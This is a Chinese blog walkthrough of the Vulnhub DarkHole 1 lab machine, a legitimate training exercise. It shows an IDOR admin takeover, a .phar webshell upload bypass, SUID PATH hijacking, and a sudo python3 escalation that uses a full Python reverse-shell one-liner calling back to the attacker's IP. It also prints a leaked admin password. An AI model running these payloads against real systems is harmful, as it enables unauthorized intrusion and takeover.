Vulnhub实战-DockHole_1靶机

靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/

1.描述

我们下载下来这个靶机然后在vmware中打开就行,如果碰到获取不到IP的情况,需要更改网卡名称

具体可以参考:https://www.cnblogs.com/tzf1/p/15394715.html

2.主机探测,端口服务发现

接下来我们在kali中进行主机探测,端口扫描。

nmap -sn 192.168.33.0/24

具体我怎么知道这台是靶机的,如果你局域网虚拟机数量少,你排除你的手机ip,电脑ip,带有vmware的主机就是你的靶机了,如果你跟我一样局域网内虚拟机开的比较多,你可以通过mac地址匹配相对应的靶机,mac地址在vm设置里面可以查看。

确定靶机之后,接下来我们开始端口扫描

nmap -sS -p- -v 192.168.33.240

我们发现开启了22,80端口,说明开启了SSH服务跟http服务,那就说明肯定存在web应用,当然开启了SSH你也可以通过hydra去爆破SSH的账号密码,但是这个工程太大,据我之前的经验大概率爆不出来,除非你能缩小范围,不然跑个一天也不是问题,还可能跑不出来,所以接下来我们看看web应用看看能不能收集到什么线索。

3.web服务测试

访问靶机IP地址:192.168.33.240,得到如下页面:

照常我们先看看页面有什么功能点,到处点点,发现只有一个login登陆点,然后进入login登陆页面看看源码,发现有一个register注册页面。

接下来进入注册页面注册看看,我们注册一个admin账号的用户发现提示用户已存在,说明admin应该就是管理员用户了,接下来我们随便注册一个账号登录进去看看先。我注册的账号:tzf123 密码:123123

进去之后是这样的一个页面,我们看看这个页面存在什么功能点

我们发现存在一个改用户名和邮箱的点和一个改密码的点,用户名邮箱不是很重要,这个密码嘛,改个密码抓个包看看先。我们发现这个url存在一个id=3,post也有一个参数id=3,password就是我刚刚输入的修改的密码,说明id是辨别用户的,为啥是3呢,因为再写这篇文章之前我做过一遍测试,那个时候注册的用户id就是2,说明id=1应该就是管理员了,我们尝试在post数据包处修改id=1用户的密码试试。

接下来我们登录admin用户试试:

登录admin用户我们发现多了一个文件上传的点,传个php木马瞅瞅行不行!

直接传可以发现果然做了限制,但是它只对前端做了限制,后端好像也不允许传php文件,我们抓包试试把后缀php改成phar试试行不行,结果发现成功上传,这里我上传的是php反弹shell的木马,kali监听10086端口连接shell。

木马代码在这个页面有:https://www.cnblogs.com/tzf1/p/15394715.html

然后点击File去触发phar文件反弹shell,页面正常回显,虽然什么也没有,但是以及触发了,这个时候打开kali发现已经连上shell了。

4.提权

我们打开kali,看看当前用户是www-data

这个时候我们尝试提权,在 Find 命令的帮助下搜索具有 SUID 或 4000 权限的文件。

具体提权详细操作可以观看这篇文章:https://www.cnblogs.com/tzf1/p/15408386.html

find / -perm -u=s -type f 2>/dev/null

我们发现存在这样的一个具有suid权限的二进制文件,我们进入/home/john目录具体看看,发现toto这个二进制文件是有s权限的。s权限的具体解释前面那个详细提权文章有哦!或者可以自行百度。

我们还看到这个目录下面有一个password和一个user.txt,直觉告诉我这两个文件有问题,尝试读取看看,果然不行,权限不够,不让读呀,还是老老实实提权吧!

还是这个toto文件,我们执行一下看看,我们发现这个toto文件就是执行的id这个命令,只不过是以john用户权限去执行的id这个权限,而我们直接执行id是以当前用户www-data的权限执行的id,所以看过前面那个提权文章的接下来怎么做就知道了吧!(如果后面看不懂的可以去前面看看哦,前面那篇比较详细!)

接下来我们就写一个自定义的id文件,让toto来调用我们写的id文件达到越权的目的

cd /tmp
echo "/bin/bash" > /tmp/id
chmod 777 id
echo $PATH
export PATH=/tmp:$PATH
echo $PATH
cd /home/john
./toto
whoami

不好意思,刚刚忘记给id加可执行权限了,所以图片代码比较冗余,上面代码顺序是没问题的。

现在我们发现此时我们就是john用户了,达到越权了,但是还是没有拿到root权限,所以呢接着越,我们先看看user.txt和password里面有啥

我们成功在user.txt拿到第一个flag,然后password里面好像是john用户的密码,我们登录john用户看看,比较这shell我看得是真不舒服,没有前缀。

ssh john@192.168.33.240

我们成功登录john用户了,看看john能执行什么系统权限吧

sudo -l

这个的意思是用户可以以root权限去调用/usr/bin/python3这个命令去执行/home/john/file.py这个文件,这个时候我们可以写一个提权的python反弹shell到file.py这个文件中,然后执行它。

反弹shell在线生成网站:https://weibell.github.io/reverse-shell-generator/

首先kali监听9999端口

nc -lncp 9999

然后再靶机上面反弹shell

cd /home/john
vim file.py 输入file.py的内容:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.33.2
13",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;
pty.spawn("/bin/sh") sudo python3 /home/john/file.py

然后进入kali中我们可以看到已经连上shell了,此时用户是root用户,这个时候我们看看root文件夹下面有什么吧,有一个root.txt,打开成功获取到第二个flag。

这个时候我们提权就成功了,成功拿到root权限!到这里就结束啦!

当作真实事件的话,接下来大家可以改一下root密码呀,看看root用户执行过什么历史命令呀!随大家玩啦。当然大家还是不要做非法犯罪的事情噢!

1.修改root密码

sudo passwd root
su

2.查看root用户历史命令

history 100 100代表查看100条!

3.到处瞅瞅

我们还在/var/www目录发现了darkhole.sql数据库文件,在里面发现了admin的密码:EWIOEJIOejw@(#I(@djslKJ')

然后在/var/www/html目录下面发现了网站的源码,在dashboard.php中发现了文件上传部分的源码


Vulnhub实战-DockHole_1靶机👻的更多相关文章

  1. Vulnhub实战-JIS-CTF_VulnUpload靶机👻

    Vulnhub实战-JIS-CTF_VulnUpload靶机 下载地址:http://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 你可以从上面地址获取靶 ...

  2. Vulnhub实战-doubletrouble靶机👻

    Vulnhub实战-doubletrouble靶机 靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/ 下载页面的ova格式文件导入vm ...

  3. Vulnhub实战-Dockhole_2靶机👻

    Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...

  4. Vulnhub实战-grotesque3靶机👻

    Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...

  5. Vulnhub实战-FALL靶机👻

    Vulnhub实战-FULL靶机 下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/ 1.描述 通过描述我们可以知道这个靶机枚举 ...

  6. Vulnhub实战-rtemis靶机👻

    Vulnhub实战-rtemis靶机 下载地址:http://www.vulnhub.com/entry/r-temis-1,649/ 描述 通过描述我们知道这个靶机有两个flag 主机发现 通过nm ...

  7. Vulnhub实战-dr4g0n b4ll靶机👻

    Vulnhub实战-dr4g0n b4ll靶机 地址:http://www.vulnhub.com/entry/dr4g0n-b4ll-1,646/ 描述:这篇其实没有什么新奇的技巧,用到的提权方式就 ...

  8. 【Vulnhub】DC-2靶机

    Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...

  9. 3. 文件上传靶机实战(附靶机跟writeup)

    upload-labs 一个帮你总结所有类型的上传漏洞的靶场 文件上传靶机下载地址:https://github.com/c0ny1/upload-labs   运行环境 操作系统:推荐windows ...

随机推荐

  1. mongodb重启报错解决

    mongodb关闭后重启失败 connecting to: mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName= ...

  2. vue项目梳理

    vue实例 vue2.x中创建vue实例,挂载到dom节点 点击查详情 <div id="vue_det"> <h1>site : {{site}}< ...

  3. 一键备份公众号的所有文章到PDF,再也不用担心想看的文章被删了

    有的时候,我们会发现收藏的某个微信公众号文章会被删或者和谐了,尤其是对自己非常实用的文章,一定会后悔当初怎么没有复制或者备份下来. 单篇的公众号文章要备份,随便百度一下就能找到非常多方法,这里就不多废 ...

  4. 关于IDEA无法加载main方法的bug

    问题现象 main方法没有run按钮 问题解决 发现args显示灰色未调用,原来是之前莫名其妙调用了sun包下的String 删除调用问题解决!

  5. 安装和配置CloudWatchAgent

    文章原文 使用 CloudWatch 代理收集指标和日志 下载 CloudWatch 代理软件包 sudo yum install amazon-cloudwatch-agent 点击查看其他平台软件 ...

  6. jenkins AWS CodeDeploy不停机部署

    此项目的特点是把Jenkins与CodeDeploy相结合做的CICD做的蓝绿发布,CI与CD 是分开的,CI构建完以后以BuildNumber的形式把war包存至AWS的S3桶中.同时在java项目 ...

  7. 前后端数据交互(六)——ajax 、fetch 和 axios 优缺点及比较

    一.ajax.fetch 和 axios 简介 1.1.ajax ajax是最早出现发送后端请求的技术,属于原生 js .ajax使用源码,请点击<原生 ajax 请求详解>查看.一般使用 ...

  8. Python - poetry(2)命令介绍

    poetry 语法格式 poetry [-h] [-q] [-v [<...>]] [-V] [--ansi] [--no-ansi] [-n] <command> [< ...

  9. 【第十四篇】- Maven 自动化构建之Spring Cloud直播商城 b2b2c电子商务技术总结

    Maven 自动化构建 自动化构建定义了这样一种场景: 在一个项目成功构建完成后,其相关的依赖工程即开始构建,这样可以保证其依赖项目的稳定. 比如一个团队正在开发一个项目 bus-core-api, ...

  10. 自己用树莓派做了一个电视盒子,还可以看优酷和cctv

    我刚接触树莓派时间不久,安装过raspberry(树莓派官方系统),ubuntu mate,openelec等系统,openelec是一个电视盒子系统,但是我的用的电视机是一个老式的,老是出现闪屏的问 ...